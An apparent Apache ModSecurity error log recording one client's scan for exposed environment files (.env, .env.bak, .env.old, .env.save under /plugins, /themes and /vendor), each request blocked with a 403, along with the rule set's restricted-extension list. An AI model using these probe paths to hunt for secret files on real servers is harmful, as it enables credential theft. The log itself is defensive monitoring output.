[Fri Oct 24 20:58:16.354136 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbcQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.354386 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbcQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.354542 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbcQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.395735 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbcgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.395928 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbcgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.396170 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbcgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.396332 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbcgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.451490 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbcwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.451751 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbcwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.451918 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbcwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.543003 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.save&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbdAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.543256 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.save&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbdAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.543456 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.save&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbdAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.598610 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbdQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.598807 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbdQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.599052 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbdQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.599224 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbdQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.641262 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbdgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.641471 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbdgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.641725 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbdgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.641896 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbdgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.681914 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbdwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.682169 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbdwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:16.682405 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aPvMSKDAbBJ3ZgAeIEJbdwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.063008 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.save&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbeAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.063276 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.save&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbeAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.063492 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.save&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbeAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.170846 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbeQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.171034 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbeQAAAAE&quot;], referer: 